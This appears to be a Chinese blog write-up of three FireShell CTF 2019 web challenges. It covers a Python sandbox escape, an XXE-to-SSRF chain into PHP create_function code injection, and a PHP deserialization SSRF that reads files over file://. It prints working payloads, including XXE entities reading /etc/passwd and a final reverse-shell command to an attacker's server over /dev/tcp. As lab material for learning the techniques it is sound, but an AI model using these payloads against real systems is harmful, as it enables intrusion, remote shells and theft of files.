FireShell CTF 2019小记

8说了,国际赛的难度大家都晓得滴。看题

Python Learning Environment

沙盒逃逸orz,最近喜欢玩的一个东东。
在前端的python.js里面可以看到一些waf源码。不过还没有我自己fuzz来的快,毕竟前端也不是很熟,源码又太多。

fuzz结果:不能用数字,不能用[],还有一堆常见的关键词需要绕过。以及内置函数只剩下execprint

但是这些都可以用循环去绕过的。

payload:

g = ().__class__.__bases__
for i in g:
    x = i.__subclasses__()
    # print x
    for j in x:
        if j.__name__ == 'ca' + 'tch_warnings':
                q=j
b = q()._module.__builtins__
b = b.values()
for i in b:
  try:
    if '__i'+'mpo'+'rt__' in i.__doc__:
      s=i("s"+"u"+"b"+"p"+"r"+"o"+"c"+"e"+"s"+"s")
      print s.check_output('l'+'s')
  except:
    pass

先把catch_warnings这个类拿出来。

因为[]不能用,所以依然要用循环来从__builtins__中拿__import__。然后绕过关键词。

Bad Injections

进去之后发现有几个功能,在list页面发现了任意文件下载漏洞。

下载一下test.txt,发现里面有/app/Controllers/Download.php的字样,再把Download.php下载下来。

<?php

class Download extends Controller{
  public static function downloadFile($file,$hash){
    if(file_exists($file) && md5($file) == $hash){
      switch(strtolower(substr(strrchr(basename($file),"."),1))){
         case "pdf": $type="application/pdf"; break;
         case "exe": $type="application/octet-stream"; break;
         case "zip": $type="application/zip"; break;
         case "doc": $type="application/msword"; break;
         case "xls": $type="application/vnd.ms-excel"; break;
         case "ppt": $type="application/vnd.ms-powerpoint"; break;
         case "gif": $type="image/gif"; break;
         case "png": $type="image/png"; break;
         case "jpg": $type="image/jpg"; break;
         case "mp3": $type="audio/mpeg"; break;
         case "php": ; break;
         case "htm":
         case "html":
      }
      header("Content-Type: ".$type);
      header("Content-Length: ".filesize($file));
      header("Content-Disposition: attachment; filename=".basename($file));
      return readfile($file);
    }else{
      echo 'not found!';
    }
  }
}

 ?>

典型的mvc框架,之前有自己写过。看一波路由。然后把源码一个一个down下来。

/app/Routes.php可以看到admin路由只能由本地访问。

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

跟进Admin.php的sort,然后在usort函数处有代码执行

<?php

class Admin extends Controller{
  public static function sort($url,$order){
    $uri = parse_url($url);
    $file = file_get_contents($url);
    $dom = new DOMDocument();
    $dom->loadXML($file,LIBXML_NOENT | LIBXML_DTDLOAD);
    $xml = simplexml_import_dom($dom);
    if($xml){
     //echo count($xml->channel->item);
     //var_dump($xml->channel->item->link);
     $data = [];
     for($i=0;$i<count($xml->channel->item);$i++){
       //echo $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link."\n";
       $data[] = new Url($i,$uri['scheme'].'://'.$uri['host'].$xml->channel->item[$i]->link);
       //$data[$i] = $uri['scheme'].$uri['host'].$xml->channel->item[$i]->link;
     }
     //var_dump($data);
     usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

 ?>

利用的话.简单闭合就行了

id,id);};system('id');/*

先在/app/Routes.php看到custom路由

Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler);
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

跟进Custom.php的,发现可以xxe攻击

<?php

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }

}
 ?>

任意文件读取

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root><name>&xxe;</name></root>

SSRF

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/admin" >]>
<root><name>&xxe;</name></root>
<!DOCTYPE html>
 <html lang="en" dir="ltr">
   <head>
     <meta charset="utf-8">
     <title></title>
     <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
     <link rel="stylesheet" type="text/css" href="semantic/dist/semantic.min.css">
     <script
     src="https://code.jquery.com/jquery-3.1.1.min.js"
     integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
     crossorigin="anonymous"></script>
     <script src="semantic/dist/semantic.min.js"></script>
     <div class="ui tabular menu">
       <a class="item" href='index'>
         Home
       </a>
       <a class="item" href='about-us'>
         About
       </a>
       <a class="item" href='contact-us'>
         Contact
       </a>
       <a class='item' href="list">
         List
       </a>
       <a class='item active' href="admin">
         Admin
       </a>
     </div>
   </head>
   <body>
     <div class='ui center aligned container'>
     <form action='admin'>
       <div class="ui input">
       <input type="text" name="rss" placeholder="RSS url">
       <input type="hidden" name="order" value="id">
     </div>
     <button type="submit" class='ui button'>check</button>
     </form>
   </body>
 </html>

那么思路就已经很清楚了,由custom路由发起xxe攻击打ssrf,访问:http://127.0.0.1/admin?rss=xxx&order=代码执行

最后的payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1//admin?rss=<url>/rss.xml&order=id%2Cid%29%3B%7D%3Bsystem('bash+-c+%22sh+-i+%3E%26+%2Fdev%2Ftcp%2F<Your-Server-IP>%2F1234+0%3E%261%22')%3B/*">]>
<name>&xxe;</name>

确实是不错的一题。

Vice

直接给了源码,是一个ssrf题。不过结合了反序列化

<?php
//require_once 'config.php';

class SHITS{
  private $url;
  private $method;
  private $addr;
  private $host;
  private $name;

  function __construct($method,$url){
    $this->method = $method;
    $this->url = $url;
  }

  function doit(){

    $this->host = @parse_url($this->url)['host'];
    $this->addr = @gethostbyname($this->host);
    $this->name = @gethostbyaddr($this->host);
    if($this->addr !== "127.0.0.1" || $this->name === false){
      $not = ['.txt','.php','.xml','.html','.','[',']'];
      foreach($not as $ext){
        $p = strpos($this->url,$ext);
        if($p){
          die(":)");
        }
      }
      $ch = curl_init();
      curl_setopt($ch,CURLOPT_URL,$this->url);
      curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

      $result = curl_exec($ch);
      echo $result;
    }else{
      die(":)");
    }
  }
  function __destruct(){
    if(in_array($this->method,array("doit"))){

      call_user_func_array(array($this,$this->method),array());
    }else{
      die(":)");
    }
  }
}
if(isset($_GET["gg"])) {
    @unserialize($_GET["gg"]);
} else {
    highlight_file(__FILE__);
}

绕过url部分也比较容易。利用的是parse_urlcurl的差异.http://admin@localhost:80@123
在php的parse_url识别url中,host为最后一个@后面的域名。 在curl中,host为localhost:80, @123 被忽略。

而waf部分

$not = ['.txt','.php','.xml','.html','.','[',']'];
      foreach($not as $ext){
        $p = strpos($this->url,$ext);
        if($p){
          die(":)");
        }

也容易,只要把strpos($this->url,$ext);返回值置为0就行了,而置为0的条件是黑名单里的后缀在$this->url的第一位。
poc.php@localhost:80@123/1.php
当循环进行到.php的时候,先匹配第一个.phpstrpos返回0,绕过waf。

构造exp

<?php
    class SHITS{
      private $url = ".php@localhost:80@123/config.php";
      private $method = "doit";
    }

    echo urlencode(serialize(new SHITS()));

?>

本地是可以用用这个payload去控制remote_addrcurl config.php的,然而在题目环境并没有回显。不知道为啥。

后来才知道可以用file协议去读文件,后缀用url二次编码绕过.

payload:

?gg=O:5:%22SHITS%22:2:{s:10:%22%00SHITS%00url%22;s:33:%22file:///var/www/html/config%252ephp%22;s:13:%22%00SHITS%00method%22;s:4:%22doit%22;}

关键在于config%252e.php,brupsuite传入的时候经过了一次url解码,而curl是识别url编码的。

%2e就是.的url编码,然后放到bp里面再加一遍url编码。

我们可以看到,单纯用curl打http的话是没有用的,根本不会输出flag,这应该是作者留下的彩蛋23333,好不容易绕过了,结果拿不到flag,只echo "aaawn";hhhh歪果仁会玩。


1 条评论

tinmin · 2019年1月30日 下午4:20

郁师傅太强了

发表评论

电子邮件地址不会被公开。 必填项已用*标注